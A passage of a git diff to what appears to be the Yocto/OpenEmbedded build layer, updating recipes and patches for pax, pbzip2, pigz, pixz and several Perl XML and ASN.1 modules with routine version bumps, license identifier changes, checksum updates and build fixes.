--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- (void) fprintf (fp, "%4lu,%4lu ", (unsigned long) MAJOR (sbp->st_rdev),
- (unsigned long) MINOR (sbp->st_rdev));
- #else
-@@ -142,7 +143,8 @@ ls_list (ARCHD *arcn, time_t now, FILE *
- #endif
- else
- {
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- (void) fprintf (fp, "%9qu ", sbp->st_size);
- #else
- (void) fprintf (fp, "%9lu ", sbp->st_size);
-@@ -334,7 +336,8 @@ ul_asc (u_long val, char *str, int len,
- return (0);
- }
-
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- /*
- * asc_uqd()
- * convert hex/octal character string into a u_quad_t. We do not have to
-Index: pax-3.4/src/options.c
-===================================================================
---- pax-3.4.orig/src/options.c
-+++ pax-3.4/src/options.c
-@@ -1545,7 +1545,8 @@ str_offt (char *val)
- char *expr;
- off_t num, t;
-
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- num = strtoq (val, &expr, 0);
- if ((num == LONG_LONG_MAX) || (num <= 0) || (expr == val))
- #else
-Index: pax-3.4/src/tar.c
-===================================================================
---- pax-3.4.orig/src/tar.c
-+++ pax-3.4/src/tar.c
-@@ -58,7 +58,8 @@
- static unsigned long tar_chksm (char *, int);
- static char *name_split (char *, int);
- static int ul_oct (u_long, char *, int, int);
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- static int uqd_oct (u_quad_t, char *, int, int);
- #endif
-
-@@ -196,7 +197,8 @@ ul_oct (u_long val, register char *str,
- return (0);
- }
-
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- /*
- * uqd_oct()
- * convert an u_quad_t to an octal string. one of many oddball field
-@@ -427,7 +429,8 @@ tar_rd (ARCHD *arcn, char *buf)
- 0xfff);
- arcn->sb.st_uid = (uid_t) asc_ul (hd->uid, sizeof (hd->uid), OCT);
- arcn->sb.st_gid = (gid_t) asc_ul (hd->gid, sizeof (hd->gid), OCT);
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- arcn->sb.st_size = (off_t) asc_uqd (hd->size, sizeof (hd->size), OCT);
- #else
- arcn->sb.st_size = (off_t) asc_ul (hd->size, sizeof (hd->size), OCT);
-@@ -659,7 +662,8 @@ tar_wr (register ARCHD * arcn)
- * data follows this file, so set the pad
- */
- hd->linkflag = AREGTYPE;
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- if (uqd_oct ((u_quad_t) arcn->sb.st_size, hd->size,
- sizeof (hd->size), 1))
- #else
-@@ -834,7 +838,8 @@ ustar_rd (ARCHD *arcn, char *buf)
- */
- arcn->sb.st_mode = (mode_t) (asc_ul (hd->mode, sizeof (hd->mode), OCT) &
- 0xfff);
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- arcn->sb.st_size = (off_t) asc_uqd (hd->size, sizeof (hd->size), OCT);
- #else
- arcn->sb.st_size = (off_t) asc_ul (hd->size, sizeof (hd->size), OCT);
-@@ -1081,7 +1086,8 @@ ustar_wr (register ARCHD * arcn)
- else
- hd->typeflag = REGTYPE;
- arcn->pad = TAR_PAD (arcn->sb.st_size);
--#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64
-+#if (SIZEOF_LONG == 4 && SIZEOF_OFF_T == 8) \
-+ || (defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS == 64)
- if (uqd_oct ((u_quad_t) arcn->sb.st_size, hd->size,
- sizeof (hd->size), 3))
- {
diff --git a/meta/recipes-extended/pax/pax_3.4.bb b/meta/recipes-extended/pax/pax_3.4.bb
deleted file mode 100644
index 6df9a8186b..0000000000
--- a/meta/recipes-extended/pax/pax_3.4.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Portable Archive eXchange"
-DESCRIPTION = "pax (Portable Archive eXchange) is the POSIX standard archive tool"
-HOMEPAGE = "http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/bin/pax/"
-BUGTRACKER = "http://www.openbsd.org/query-pr.html"
-
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4b0b674dfdc56daa3832d4069b820ea0 \
- file://src/pax.h;endline=40;md5=309d3e241c1d82069228e5a51e9b8d60 \
- file://src/cpio.h;endline=40;md5=c3b4bbff6133a83387968617bbae8ac4 \
- file://lib/vis.h;endline=40;md5=b283f759abd4a5ad7e014b80f51fc053"
-
-SECTION = "base"
-PR = "r2"
-
-DEPENDS_append_libc-musl = " fts "
-
-SRC_URI = "http://pkgs.fedoraproject.org/repo/pkgs/${BPN}/${BP}.tar.bz2/fbd9023b590b45ac3ade95870702a0d6/${BP}.tar.bz2 \
- file://fix_for_compile_with_gcc-4.6.0.patch \
- file://pax-3.4_fix_for_x32.patch \
- file://0001-include-sys-sysmacros.h-for-major-minor-definitions.patch \
- file://0001-Add-a-comment-for-fallthrough.patch \
- "
-
-SRC_URI_append_libc-musl = " file://0001-Fix-build-with-musl.patch \
- file://0001-use-strtoll-instead-of-strtoq.patch \
- "
-
-SRC_URI[md5sum] = "fbd9023b590b45ac3ade95870702a0d6"
-SRC_URI[sha256sum] = "ac3c06048e02828077cf7757d3d142241429238893b91d529af29a2e8cc5623b"
-
-inherit autotools
diff --git a/meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch b/meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch
new file mode 100644
index 0000000000..8fc377c31b
--- /dev/null
+++ b/meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch
@@ -0,0 +1,73 @@
+From de4a948d356c9befb88c796168e97eb05b9a3385 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 23 Apr 2018 22:54:42 -0700
+Subject: [PATCH] pbzip2: Fix invalid suffix on literal C++11 warning
+
+Fixes -Wreserved-user-defined-literal] errors.
+Also reported in launchpad here https://bugs.launchpad.net/pbzip2/+bug/1746369
+
+Upstream-Status: Submitted [https://launchpadlibrarian.net/355230152/pbzip2.patch]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ pbzip2.cpp | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/pbzip2.cpp b/pbzip2.cpp
+index 66ca978..4287ea7 100644
+--- a/pbzip2.cpp
++++ b/pbzip2.cpp
+@@ -1220,7 +1220,7 @@ int producer_decompress(int hInfile, OFF_T fileSize, queue *fifo)
+ // give warning to user if block is larger than 250 million bytes
+ if (fileData->bufSize > 250000000)
+ {
+- fprintf(stderr, "pbzip2: *WARNING: Compressed block size is large [%"PRIuMAX" bytes].\n",
++ fprintf(stderr, "pbzip2: *WARNING: Compressed block size is large [%" PRIuMAX " bytes].\n",
+ (uintmax_t) fileData->bufSize);
+ fprintf(stderr, " If program aborts, use regular BZIP2 to decompress.\n");
+ }
+@@ -1829,7 +1829,7 @@ void *fileWriter(void *outname)
+
+ if (QuietMode != 1)
+ {
+- fprintf(stderr, " Output Size: %"PRIuMAX" bytes\n", (uintmax_t)CompressedSize);
++ fprintf(stderr, " Output Size: %" PRIuMAX " bytes\n", (uintmax_t)CompressedSize);
+ }
+
+ #ifdef PBZIP_DEBUG
+@@ -2072,7 +2072,7 @@ int directcompress(int hInfile, OFF_T fileSize, int blockSize, const char *OutFi
+ close(hOutfile);
+ if (QuietMode != 1)
+ {
+- fprintf(stderr, " Output Size: %"PRIuMAX" bytes\n", (uintmax_t)CompressedSize);
++ fprintf(stderr, " Output Size: %" PRIuMAX " bytes\n", (uintmax_t)CompressedSize);
+ }
+
+ syncSetProducerDone(1); // Not really needed for direct version
+@@ -2794,7 +2794,7 @@ void outputBufferInit(size_t size)
+ // unlikely to get here since more likely exception will be thrown
+ if (OutputBuffer.size() != size)
+ {
+- fprintf(stderr, "pbzip2: *ERROR: Could not initialize (OutputBuffer); size=%"PRIuMAX"! Aborting...\n", (uintmax_t)size);
++ fprintf(stderr, "pbzip2: *ERROR: Could not initialize (OutputBuffer); size=%" PRIuMAX "! Aborting...\n", (uintmax_t)size);
+ safe_mutex_unlock(OutMutex);
+ exit(1);
+ }
+@@ -4102,7 +4102,7 @@ int main(int argc, char* argv[])
+ if (decompress == 1)
+ fprintf(stderr, " BWT Block Size: %c00k\n", BWTblockSizeChar);
+ if (hasInFile)
+- fprintf(stderr, " Input Size: %"PRIuMAX" bytes\n", (uintmax_t)InFileSize);
++ fprintf(stderr, " Input Size: %" PRIuMAX " bytes\n", (uintmax_t)InFileSize);
+ }
+
+ if (decompress == 1)
+@@ -4224,7 +4224,7 @@ int main(int argc, char* argv[])
+ {
+ NumBufferedBlocksMax = numCPU;
+ if (QuietMode != 1)
+- fprintf(stderr, "*Warning* Max memory limit increased to %"PRIuMAX" MB to support %d CPUs\n", (uintmax_t)((NumBufferedBlocksMax + (numCPU * 2)) * blockSize)/1000000, numCPU);
++ fprintf(stderr, "*Warning* Max memory limit increased to %" PRIuMAX " MB to support %d CPUs\n", (uintmax_t)((NumBufferedBlocksMax + (numCPU * 2)) * blockSize)/1000000, numCPU);
+ }
+ else
+ {
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
index 06d37adc36..3fa89dec9a 100644
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
@@ -3,20 +3,23 @@ DESCRIPTION = "PBZIP2 is a parallel implementation of the bzip2 block-sorting \
file compressor that uses pthreads and achieves near-linear speedup on SMP \
machines. The output of this version is fully compatible with bzip2 v1.0.2 or \
newer (ie: anything compressed with pbzip2 can be decompressed with bzip2)."
-HOMEPAGE = "http://compression.ca/pbzip2/"
+HOMEPAGE = "https://launchpad.net/pbzip2/"
SECTION = "console/utils"
-LICENSE = "BSD"
+LICENSE = "bzip2-1.0.6"
LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
DEPENDS = "bzip2"
-DEPENDS_append_class-native = " bzip2-replacement-native"
+DEPENDS:append:class-native = " bzip2-replacement-native"
-SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz"
+SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
+ file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
+ "
SRC_URI[md5sum] = "4cb87da2dba05540afce162f34b3a9a6"
SRC_URI[sha256sum] = "8fd13eaaa266f7ee91f85c1ea97c86d9c9cc985969db9059cdebcb1e1b7bdbe6"
-UPSTREAM_CHECK_URI = "http://compression.ca/pbzip2/"
+UPSTREAM_CHECK_URI = "https://launchpad.net/pbzip2/+milestones"
+UPSTREAM_CHECK_REGEX = "pbzip2 (?P<pver>\d+(\.\d+)+)"
EXTRA_OEMAKE = "CXX='${CXX} ${CXXFLAGS}' LDFLAGS='${LDFLAGS}'"
@@ -25,4 +28,4 @@ do_install() {
install -m 0755 pbzip2 ${D}${bindir}/
}
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
deleted file mode 100644
index 170e7ecdea..0000000000
--- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
-
-SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c"
-SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a"
-
-S = "${WORKDIR}/Convert-ASN1-${PV}"
-
-inherit cpan
-
-EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
new file mode 100644
index 0000000000..6e9f881773
--- /dev/null
+++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library"
+SECTION = "libs"
+HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/"
+DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions."
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "a628d7c9d390568fb76359975fa03f626ce57f10dc17980e8e3587d7713e4ee7"
+
+S = "${WORKDIR}/Convert-ASN1-${PV}"
+
+inherit cpan ptest-perl
+
+EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
+
+RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 \
+ perl-module-socket perl-module-time-local perl-module-posix perl-module-scalar-util perl-module-test-more"
+RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
index 427613c10b..3e0d216a03 100644
--- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
+++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb
@@ -1,20 +1,21 @@
SUMMARY = "Perl modules useful for manipulating date and time information"
HOMEPAGE = "https://metacpan.org/release/TimeDate"
+DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later."
SECTION = "libs"
# You can redistribute it and/or modify it under the same terms as Perl itself.
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz"
S = "${WORKDIR}/TimeDate-${PV}"
-inherit cpan
+inherit cpan ptest-perl
BBCLASSEXTEND = "native"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
+RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local"
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8"
SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c"
SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86"
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.9.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.9.bb
deleted file mode 100644
index a7d26ea38c..0000000000
--- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.9.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Perl module for supporting simple generic namespaces"
-HOMEPAGE = "http://veillard.com/XML/"
-DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-based XML names. \
- It also helps maintain a prefix-to-namespace URI map, and provides a number of \
- basic checks. "
-
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-PR = "r3"
-
-LIC_FILES_CHKSUM = "file://META.yml;beginline=22;endline=22;md5=9ca1a4a941496e7feedac72c4fb8b137"
-
-# the upstream project complicate a bit url generartion on point release, using a underscore
-# instead of a point on URL, i.e 1.12_9 instead of 1.12.9
-python () {
- baseurl = "http://search.cpan.org/CPAN/authors/id/P/PE/PERIGRIN/XML-NamespaceSupport"
- pv = d.getVar('PV')
- pvsplit = pv.split('.')
-
- if len(pvsplit) != 3:
- d.setVar('SRC_URI', "%s-%s.tar.gz" % (baseurl, pv))
- d.setVar('S', "${WORKDIR}/XML-NamespaceSupport-${PV}")
- else:
- pvx, pvy, pvz = pvsplit
- d.setVar('SRC_URI', "%s-%s.%s_%s.tar.gz" % (baseurl, pvx, pvy, pvz))
- d.setVar('S', "${WORKDIR}/XML-NamespaceSupport-%s.%s_%s" % (pvx, pvy, pvz))
-}
-
-SRC_URI[md5sum] = "165927a311fb640961b28607035beab8"
-SRC_URI[sha256sum] = "2e84a057f0a8c845a612d212742cb94fca4fc8a433150b5721bd448f77d1e4a9"
-
-inherit cpan
-
-BBCLASSEXTEND="native"
-
diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
new file mode 100644
index 0000000000..568268d886
--- /dev/null
+++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Perl module for supporting simple generic namespaces"
+HOMEPAGE = "http://veillard.com/XML/"
+DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-based XML names. \
+ It also helps maintain a prefix-to-namespace URI map, and provides a number of \
+ basic checks. "
+
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+SRCNAME = "XML-NamespaceSupport"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c9d8a117e7620b5adf8d69c29613ceab"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/P/PE/PERIGRIN/${SRCNAME}-${PV}.tar.gz"
+SRC_URI[md5sum] = "a8916c6d095bcf073e1108af02e78c97"
+SRC_URI[sha256sum] = "47e995859f8dd0413aa3f22d350c4a62da652e854267aa0586ae544ae2bae5ef"
+
+UPSTREAM_CHECK_REGEX = "XML\-NamespaceSupport\-(?P<pver>(\d+\.\d+))(?!_\d+).tar"
+
+S = "${WORKDIR}/${SRCNAME}-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN}-ptest += "perl-module-test-more"
+
+BBCLASSEXTEND="native nativesdk"
+
diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
index cd3a5806bb..ebec5f0462 100644
--- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
+++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb
@@ -7,8 +7,8 @@ use this module as a base class so you don't have to, for example, \
implement the characters() callback."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-RDEPENDS_${PN} += "perl-module-extutils-makemaker"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+RDEPENDS:${PN} += "perl-module-extutils-makemaker"
LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
@@ -19,6 +19,8 @@ SRC_URI[sha256sum] = "66cb355ba4ef47c10ca738bd35999723644386ac853abbeb5132841f5e
S = "${WORKDIR}/XML-SAX-Base-${PV}"
-inherit cpan
+inherit cpan ptest-perl
-BBCLASSEXTEND = "native"
+RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_0.99.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
index ad31b9c9d2..b5b111d227 100644
--- a/meta/recipes-extended/perl/libxml-sax-perl_0.99.bb
+++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
@@ -9,20 +9,34 @@ come from the Java JAXP specification (SAX part), only without the \
javaness."
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
DEPENDS += "libxml-namespacesupport-perl-native"
-RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
-PR = "r2"
+RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GR/GRANTM/XML-SAX-${PV}.tar.gz"
-SRC_URI[md5sum] = "290f5375ae87fdebfdb5bc3854019f24"
-SRC_URI[sha256sum] = "32b04b8e36b6cc4cfc486de2d859d87af5386dd930f2383c49347050d6f5ad84"
+SRC_URI[md5sum] = "b62e3754523695c7f5bbcafa3676a38d"
+SRC_URI[sha256sum] = "4506c387043aa6a77b455f00f57409f3720aa7e553495ab2535263b4ed1ea12a"
S = "${WORKDIR}/XML-SAX-${PV}"
-inherit cpan
+inherit cpan ptest-perl
-BBCLASSEXTEND = "native"
+do_install_ptest() {
+ cp -r ${B}/testfiles ${D}${PTEST_PATH}
+ chown -R root:root ${D}${PTEST_PATH}/testfiles
+}
+
+RDEPENDS:${PN} += "perl-module-encode perl-module-perlio perl-module-encode-encoding"
+
+RDEPENDS:${PN}-ptest += " \
+ perl-module-base \
+ perl-module-encode-byte \
+ perl-module-encode-unicode \
+ perl-module-fatal \
+ perl-module-test \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/pigz/pigz_2.3.4.bb b/meta/recipes-extended/pigz/pigz_2.3.4.bb
deleted file mode 100644
index f4832dffe1..0000000000
--- a/meta/recipes-extended/pigz/pigz_2.3.4.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require pigz.inc
-LIC_FILES_CHKSUM = "file://pigz.c;beginline=7;endline=21;md5=a21d4075cb00ab4ca17fce5e7534ca95"
-
-UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
-UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
-SRC_URI = "https://github.com/madler/pigz/archive/v${PV}.tar.gz;downloadfilename=${BP}.tar.gz"
-SRC_URI[md5sum] = "c109057050b15edf3eb9bb4d0805235e"
-SRC_URI[sha256sum] = "763f2fdb203aa0b7b640e63385e38e5dd4e5aaa041bc8e42aa96f2ef156b06e8"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/pigz/pigz.inc b/meta/recipes-extended/pigz/pigz_2.8.bb
index 978f905329..fcf0c93e41 100644
--- a/meta/recipes-extended/pigz/pigz.inc
+++ b/meta/recipes-extended/pigz/pigz_2.8.bb
@@ -6,8 +6,15 @@ Adler, and uses the zlib and pthread libraries."
HOMEPAGE = "http://zlib.net/pigz/"
SECTION = "console/utils"
LICENSE = "Zlib & Apache-2.0"
+LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
-PROVIDES_class-native += "gzip-native"
+SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
+SRC_URI[sha256sum] = "eb872b4f0e1f0ebe59c9f7bd8c506c4204893ba6a8492de31df416f0d5170fd0"
+PROVIDES:class-native += "gzip-native"
+
+# Point this at the homepage in case /fossils/ isn't updated
+UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
+UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
DEPENDS = "zlib"
@@ -15,7 +22,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS="
inherit update-alternatives
-do_install_class-target() {
+do_install() {
# Install files into /bin (FHS), which is typical place for gzip
install -d ${D}${base_bindir}
install ${B}/pigz ${D}${base_bindir}/pigz
@@ -23,17 +30,19 @@ do_install_class-target() {
ln -nsf pigz ${D}${base_bindir}/pigzcat
}
-do_install() {
+do_install:append:class-native() {
install -d ${D}${bindir}
install ${B}/pigz ${D}${bindir}/gzip
ln -nsf gzip ${D}${bindir}/gunzip
ln -nsf gzip ${D}${bindir}/zcat
}
-ALTERNATIVE_PRIORITY = "80"
-ALTERNATIVE_${PN} = "gunzip gzip zcat"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+ALTERNATIVE_PRIORITY = "110"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
ALTERNATIVE_TARGET = "${base_bindir}/pigz"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/pixz/pixz/0001-configure-Detect-headers-before-using-them.patch b/meta/recipes-extended/pixz/pixz/0001-configure-Detect-headers-before-using-them.patch
deleted file mode 100644
index 12bae28dc7..0000000000
--- a/meta/recipes-extended/pixz/pixz/0001-configure-Detect-headers-before-using-them.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From c84480be8df6966c538d1fb67ccae2f42cc46421 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 22 Mar 2016 07:36:54 +0000
-Subject: [PATCH 1/2] configure: Detect headers before using them
-
-Current logic does not work when system does not have
-sys/endian.h, since it tried to reuse the cached results
-from first try of detecting htole64 in sys/endian.h which is
-'no' and hence the second try to look into endian.h also
-comes out negative.
-
-So we check for header and then run the test for symbols
-and these symbols are not standard and we need to define _GNU_SOURCE
-for it to work, this issue is exposed by systems using musl e.g.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- configure.ac | 13 +++++++++----
- 1 file changed, 9 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 4cb56bc..5e23c50 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -69,12 +69,17 @@ AC_FUNC_MALLOC
- AC_FUNC_REALLOC
- AC_FUNC_STRTOD
- AC_CHECK_FUNCS([memchr memmove memset strerror strtol])
--AC_CHECK_DECLS([htole64, le64toh],
-- [],
-+AC_CHECK_HEADER([sys/endian.h],
- [
-- AC_CHECK_DECLS([htole64, le64toh], [], [], [#include <endian.h>])
-+ AC_CHECK_DECLS([htole64, le64toh], [], [], [#define _GNU_SOURCE 1 #include <sys/endian.h>])
- ],
-- [#include <sys/endian.h>])
-+ [], [])
-+
-+AC_CHECK_HEADER([endian.h],
-+ [
-+ AC_CHECK_DECLS([htole64, le64toh], [], [], [#define _GNU_SOURCE 1 #include <endian.h>])
-+ ],
-+ [], [])
-
- AC_CONFIG_FILES([Makefile
- src/Makefile
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/pixz/pixz/0002-endian-Use-macro-bswap_64-instead-of-__bswap_64.patch b/meta/recipes-extended/pixz/pixz/0002-endian-Use-macro-bswap_64-instead-of-__bswap_64.patch
deleted file mode 100644
index 6b615988db..0000000000
--- a/meta/recipes-extended/pixz/pixz/0002-endian-Use-macro-bswap_64-instead-of-__bswap_64.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 5f3a535987bae4c3e3d9e9079c7526e399f7aecd Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 22 Mar 2016 07:42:39 +0000
-Subject: [PATCH 2/2] endian: Use macro bswap_64 instead of __bswap_64
-
-byteswap.h defines then as public APIs on all libc
-on linux including musl
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
- src/endian.c | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
